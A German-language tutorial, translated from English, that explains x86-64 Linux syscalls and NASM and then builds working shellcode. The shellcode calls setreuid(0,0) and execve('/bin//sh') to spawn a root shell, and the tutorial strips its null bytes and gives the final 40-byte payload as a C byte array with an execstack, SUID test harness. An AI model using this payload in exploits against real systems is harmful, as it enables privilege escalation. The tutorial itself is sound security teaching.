Shellcode verstehen: Zentrale Konzepte für Cybersecurity-Experten
Agenda
Dieser Beitrag wurde aus dem Englischen übersetzt. Zum Originalbeitrag.
Einleitung
Shellcode bezeichnet eine Sammlung von Maschinenbefehlen, die typischerweise in Assembler geschrieben werden und direkt von der CPU ausgeführt werden können. Da Assembler-Instruktionen architekturspezifisch sind, ist die Portabilität von Shellcode zwischen verschiedenen Prozessorarchitekturen eingeschränkt.
Im Kern zielt Shellcode auf die direkte Manipulation von Prozessorregistern ab, um diese für unterschiedliche Systemaufrufe (Syscalls) mittels Opcodes zu konfigurieren. Nachdem der Assembler-Code die gewünschte Funktionalität abbildet, wird er in Maschinencode übersetzt. Entscheidend ist jedoch ein weiterer Schritt: die Entfernung von Null-Bytes. Der Grund dafür liegt in der Funktionsweise vieler String-Operationen wie strcpy(), die beim Auftreten eines Null-Bytes (0x00) die Verarbeitung abbrechen.
Um Shellcode fundiert zu verstehen, betrachten wir zunächst zwei grundlegende Konzepte: Assembler und System Calls.
Netwide Assembler (NASM)
Assembler ist eine Low-Level-Programmiersprache, die eng an eine spezifische Hardwarearchitektur gebunden ist. Ein Assembler übersetzt diesen Code in Maschinencode.
Für unterschiedliche Architekturen existieren verschiedene Assembler. In diesem Kontext verwenden wir den Netwide Assembler (NASM), einen weit verbreiteten Assembler für x86- und x86-64-Systeme.
NASM unterstützt verschiedene Objektformate wie ELF oder Win32. Das gewünschte Format kann über den Parameter -f angegeben werden.
|
nasm -f elf64 <fileName>.s |
System Calls (syscall)
Für den Zugriff auf Betriebssystemfunktionen – etwa das Öffnen von Ports oder das Setzen von Berechtigungen – stellt das Betriebssystem sogenannte System Calls (Syscalls) bereit.
Syscalls fungieren als Schnittstelle zwischen User-Space-Anwendungen und dem Kernel und ermöglichen den Zugriff auf Funktionen, die außerhalb des eigenen Adressraums liegen.
Unter UNIX-basierten Systemen besitzt jeder Systemaufruf eine eindeutige Nummer.
Möchte ein Programm die Funktion write() nutzen, muss zunächst die entsprechende Syscall-Nummer ermittelt werden. Anschließend wird ein Interrupt ausgelöst, der den Kernel signalisiert, die Anfrage zu verarbeiten.
Die Syscall-Nummern variieren je nach Betriebssystem. Unter Linux sind sie in Kernel-Headern definiert. Eine Möglichkeit zur Anzeige:
|
# Ubuntu 64-bit architecture sudo apt install auditd ausyscall --dump |
Wie bei den meisten Systemaufrufen (System Calls) werden auch hier ein oder mehrere Argumente benötigt. Die Nummer des Systemaufrufs wird in das Register EAX geladen, während die Argumente für die aufzurufende Funktion üblicherweise in dieser Reihenfolge in die Register EBX, ECX und EDX geschrieben werden. In einer 64-Bit-Architektur werden die Argumente eines Systemaufrufs gemäß der Calling Convention in der Reihenfolge RDI, RSI, RDX, RCX, R8 und R9 übergeben.
Beispiel: Ausgabe auf die Standardausgabe
In diesem Beispiel wird der Text „System Calls“ auf der Konsole ausgegeben.
Verwendete Syscalls:
-
write()
- exit()
Parameter für write()
-
RDI → File Descriptor (1 = stdout)
-
RSI → Pointer auf den String
- RDX → Länge
Assembler-Code:
|
; Ubuntu 64-bit architecture section .data msg db 'System Calls', 0 section .text global main main: ; let's write to stdout ; ssize_t write(int fildes, const void *buf, size_t nbyte); mov rax, 1 ; syscall is passed in rax register ; Function parameters are passed in the registers rdi, rsi, and rdx, respectively. mov rdi, 1 ; fildes -> 1 for stdout mov rsi, msg ; buf -> pointer to the message mov rdx, 12 ; nbyte -> number of chars in the message syscall ; trigger an interrupt to execute write ; syscall to exit ; void exit(int status); mov rax, 60 ; 60 = 0x3C system call number for exit ; One parameter passed in the register rdi xor rdi, rdi ; exit code 0 syscall ; trigger an interrupt to execute exit |
Kompilierung und Ausführung:
|
nasm -f elf64 syscall_write.s gcc syscall_write.o -o syscall_write ./syscall_write |
![]()
Note
-
32-Bit: int 0x80
- 64-Bit: syscall
Erstellung von Shellcode
In realen Angriffsszenarien reduzieren Anwendungen häufig ihre Privilegien bewusst. Um beispielsweise eine Root-Shell zu starten, muss Shellcode zunächst die Privilegien wieder erhöhen.
Dies geschieht über den Syscall setreuid(). Anschließend wird mit execve() eine Shell gestartet.
Die Zeichenkette "/bin//sh" wird dabei oft als Hexwert 0x68732f6e69622f in umgekehrter Byte-Reihenfolge abgelegt.
![]()
Beispielcode:
|
; Env: Ubuntu 64-bit architecture section .text global main main: ; Step 1: Set Effective User ID to zero ; int setreuid(uid_t ruid, uid_t euid) mov rax, 0 ; clearing rax mov rdi, 0 ; passing argument 0 in rdi to setreuid() mov rsi, 0 ; passing argument 0 in rsi to setreuid() mov rax, 113 ; 113 = 0x71 is the syscall for setreuid() in the current environment syscall ; trigger an interrupt to execute setreuid() ; Step 2: Spawn a shell ; int execve(const char *pathname, char *const _Nullable argv[], char *const _Nullable envp[]); mov rax, 0 ; clearing rax push rax ; rax was set to 0, this serves as a null terminator. mov rbx, 0x68732f2f6e69622f ; placing /bin//sh into rbx push rbx ; placing /bin//sh onto the stack. mov rdi, rsp ; rsp points to the address of /bin/sh on stack, thus we store it in rdi push rax ; rax was set to 0, this serves as a null terminator. push rdi ; rdi is the first argument to execve, it contains the path name '/bin/sh'. mov rsi, rsp ; rsi is the second argument to execve. mov rdx, 0 ; setting Null in the third argument to execve() mov rax, 59 ; store system call number (59 = 0x3B) for execve() in rax syscall ; trigger an interrupt to execute execve() |
Build & Test:
|
nasm -f elf64 syscall_shell.s gcc syscall_shell.o -o syscall_shell # change ownership ans set SUID sudo chown root:root syscall_shell sudo chmod +s syscall_shell # execute ./syscall_shell |
![]()
Beim Betrachten der xxd-Ausgabe der Objektdatei syscall_shell.o fällt sofort auf, dass unser Shellcode zahlreiche Null-Bytes enthält, was problematisch ist (zu Demonstrationszwecken verwende ich hier einen vollständigen Assembler-Code.)
|
# dump machine code xxd -ps syscall_shell.o | head # -ps display the machine code without any hexadecimal translation. |
In vielen Exploit-Szenarien kommen String-Funktionen wie strcpy() oder gets() zum Einsatz, um Daten in einen Puffer zu kopieren. Treffen diese Funktionen jedoch auf ein Null-Byte (0x00), interpretieren sie dieses als Ende der Zeichenkette. Die Folge: Der Kopiervorgang wird vorzeitig beendet und die Ausführung unseres Shellcodes schlägt fehl.
Damit stehen wir vor zwei Herausforderungen. Erstens müssen wir sämtliche Null-Bytes (0x00) aus unserem Shellcode entfernen. Zweitens handelt es sich beim zuvor gezeigten Beispiel um ein vollständiges Assembler-Programm mit den dazugehörigen Sektionen, das lediglich der Veranschaulichung des Konzepts dient. In der Praxis benötigen wir jedoch ausschließlich die Instruktionen, die zum Starten einer Shell erforderlich sind. Im nächsten Schritt lösen wir beide Herausforderungen.
Entfernen von Null-Bytes
Wir stehen vor einer Herausforderung: Unser Assembler-Code enthält Null-Bytes. Betrachten wir beispielsweise die Instruktion, die den Wert 10 (0x0a) in das 64-Bit-Register rax schreibt. Das Ergebnis lautet 0x000000000000000a und enthält somit sieben Null-Bytes. Diese Null-Bytes können insbesondere bei String-Operationen Probleme verursachen und die Ausführung unseres Shellcodes verhindern.
Um dieses Problem zu umgehen, können wir verschiedene Techniken einsetzen, beispielsweise den direkten Zugriff auf kleinere Teile eines 64-Bit-Registers. Die unteren 8 Bit des Registers rax lassen sich beispielsweise über das Register al ansprechen.
![]()
Darüber hinaus werden Sie in Assembler-Code häufig auf die Anweisung xor eax, eax stoßen, um ein Register zurückzusetzen. Der Grund dafür ist, dass die Verknüpfung eines Werts mit sich selbst per XOR immer 0 ergibt. Eine weitere Möglichkeit, ein Register auf 0 zu setzen, ist die Subtraktion des Registers von sich selbst, beispielsweise mit sub eax, eax. Alternativ kann der Inhalt eines bereits auf 0 gesetzten Registers mithilfe der mov-Anweisung in ein anderes Register kopiert werden, etwa mit mov eax, ecx.
Beachten Sie jedoch, dass diese Anweisungen den Shellcode unter Umständen größer machen können als erforderlich. Darauf gehen wir in einem späteren Artikel näher ein. Wenden wir diese Konzepte nun auf unseren Code an.
Wie im folgenden Codebeispiel zu sehen ist, wurde die Sektion .text entfernt. Zum Zurücksetzen der Register werden XOR-Operationen verwendet, und das niederwertigste Byte des Registers rax (al) dient zur Speicherung der System-Call-Nummern.
|
# assemble the code nasm syscall_shell_without_nulls.s # dump machine code xxd -ps syscall_shell_without_nulls | head # -ps display the machine code without any hexadecimal translation. |
Nun sehen wir, dass die Null-Bytes erfolgreich entfernt wurden. Darüber hinaus konnte die Größe des Shellcodes deutlich reduziert werden und beträgt jetzt nur noch 40 Byte. Ziemlich beeindruckend, oder?
![]()
Testen von Shellcode
Zum Testen wird der Shellcode in ein C-Programm eingebettet und als Funktionszeiger ausgeführt.
|
char shellcode[] = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\xb0\x71\x0f\x05\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; void main(){ //cast the shellcode array to a function pointer ((void (*)(void))shellcode)(); } |
Kompilierung:
|
gcc -z execstack shellcode_tester.c -o shellcode sudo chown root:root shellcode sudo chmod +s shellcode ./shellcode |
Happy Learning...
Appendix: Testumgebung
Sämtliche in diesem Artikel vorgestellten Codebeispiele und Tools wurden in folgender Testumgebung ausgeführt:
- Ubuntu 16.04.7 LTS (Xenial Xerus), x86_64 GNU/Linux)
- gcc
- nasm
- xxd
- ausyscall